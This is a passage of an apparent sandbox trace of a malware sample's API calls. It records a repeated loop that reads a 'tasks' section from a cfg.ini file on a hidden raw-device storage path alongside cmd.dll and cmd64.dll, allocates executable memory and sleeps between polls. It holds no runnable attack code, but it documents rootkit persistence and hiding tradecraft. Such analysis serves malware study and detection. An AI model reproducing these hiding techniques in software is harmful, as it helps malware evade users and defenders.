(MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003534000 [0120.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.975] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.975] IdePortDispatch () returned 0x103 [0120.975] KeWaitForMutexObject () returned 0x0 [0120.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.975] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.975] IdePortDispatch () returned 0x103 [0120.975] KeWaitForMutexObject () returned 0x0 [0120.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.976] KeLeaveCriticalRegion () [0120.976] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.976] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.976] KeEnterCriticalRegion () [0120.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.976] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.976] KeLeaveCriticalRegion () [0120.976] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.976] KeEnterCriticalRegion () [0120.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.976] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.976] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.976] KeLeaveCriticalRegion () [0120.976] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.976] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.976] KeEnterCriticalRegion () [0120.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.976] ExFreePoolWithTag (P=0xfffffa8003b9f550, Tag=0x0) [0120.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.976] KeLeaveCriticalRegion () [0120.976] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.976] ReleaseMutex (hMutex=0xf0) returned 1 [0120.976] Sleep (dwMilliseconds=0x927c0) [0120.990] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.990] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.990] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.990] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.990] KeEnterCriticalRegion () [0120.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.990] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.991] IdePortDispatch () returned 0x103 [0120.991] KeWaitForMutexObject () returned 0x0 [0120.991] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.991] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.991] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.991] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.991] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.991] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe950 [0120.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.991] KeLeaveCriticalRegion () [0120.991] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.991] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.991] KeEnterCriticalRegion () [0120.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.991] KeLeaveCriticalRegion () [0120.991] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.991] KeEnterCriticalRegion () [0120.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.991] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.991] IdePortDispatch () returned 0x103 [0120.991] KeWaitForMutexObject () returned 0x0 [0120.991] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.991] KeLeaveCriticalRegion () [0120.991] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.992] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.992] KeEnterCriticalRegion () [0120.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003539000 [0120.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.992] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.992] IdePortDispatch () returned 0x103 [0120.992] KeWaitForMutexObject () returned 0x0 [0120.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.992] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.992] IdePortDispatch () returned 0x103 [0120.992] KeWaitForMutexObject () returned 0x0 [0120.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.992] KeLeaveCriticalRegion () [0120.992] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.993] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.993] KeEnterCriticalRegion () [0120.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.993] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.993] KeLeaveCriticalRegion () [0120.993] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.993] KeEnterCriticalRegion () [0120.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.993] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.993] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.993] KeLeaveCriticalRegion () [0120.993] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.993] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.993] KeEnterCriticalRegion () [0120.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.993] ExFreePoolWithTag (P=0xfffffa8003bbe950, Tag=0x0) [0120.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.993] KeLeaveCriticalRegion () [0120.993] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.993] ReleaseMutex (hMutex=0xf0) returned 1 [0120.993] Sleep (dwMilliseconds=0x927c0) [0121.008] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.008] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.008] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.008] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.008] KeEnterCriticalRegion () [0121.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.008] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.008] IdePortDispatch () returned 0x103 [0121.008] KeWaitForMutexObject () returned 0x0 [0121.008] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.008] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.008] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.008] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.008] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.008] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f360 [0121.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.008] KeLeaveCriticalRegion () [0121.008] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.008] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.008] KeEnterCriticalRegion () [0121.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.008] KeLeaveCriticalRegion () [0121.008] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.008] KeEnterCriticalRegion () [0121.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.008] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.009] IdePortDispatch () returned 0x103 [0121.009] KeWaitForMutexObject () returned 0x0 [0121.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.009] KeLeaveCriticalRegion () [0121.009] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.009] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.009] KeEnterCriticalRegion () [0121.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353e000 [0121.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.009] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.009] IdePortDispatch () returned 0x103 [0121.009] KeWaitForMutexObject () returned 0x0 [0121.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.009] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.009] IdePortDispatch () returned 0x103 [0121.009] KeWaitForMutexObject () returned 0x0 [0121.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.010] KeLeaveCriticalRegion () [0121.010] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.010] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.010] KeEnterCriticalRegion () [0121.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.010] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.010] KeLeaveCriticalRegion () [0121.010] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.010] KeEnterCriticalRegion () [0121.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.010] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.010] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.010] KeLeaveCriticalRegion () [0121.010] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.010] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.010] KeEnterCriticalRegion () [0121.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.010] ExFreePoolWithTag (P=0xfffffa8003b9f360, Tag=0x0) [0121.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.010] KeLeaveCriticalRegion () [0121.010] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.010] ReleaseMutex (hMutex=0xf0) returned 1 [0121.011] Sleep (dwMilliseconds=0x927c0) [0121.024] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.024] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.024] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.024] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.024] KeEnterCriticalRegion () [0121.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.024] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.024] IdePortDispatch () returned 0x103 [0121.024] KeWaitForMutexObject () returned 0x0 [0121.024] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.024] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.024] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.024] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.024] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.024] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f360 [0121.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.025] KeLeaveCriticalRegion () [0121.025] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.025] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.025] KeEnterCriticalRegion () [0121.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.025] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.025] KeLeaveCriticalRegion () [0121.025] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.025] KeEnterCriticalRegion () [0121.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.025] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.025] IdePortDispatch () returned 0x103 [0121.025] KeWaitForMutexObject () returned 0x0 [0121.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.025] KeLeaveCriticalRegion () [0121.025] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.025] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.025] KeEnterCriticalRegion () [0121.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003543000 [0121.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.025] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.025] IdePortDispatch () returned 0x103 [0121.025] KeWaitForMutexObject () returned 0x0 [0121.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.026] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.026] IdePortDispatch () returned 0x103 [0121.026] KeWaitForMutexObject () returned 0x0 [0121.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.026] KeLeaveCriticalRegion () [0121.026] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.026] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.026] KeEnterCriticalRegion () [0121.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.026] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.026] ExReleaseFastMutexUnsafe (in: 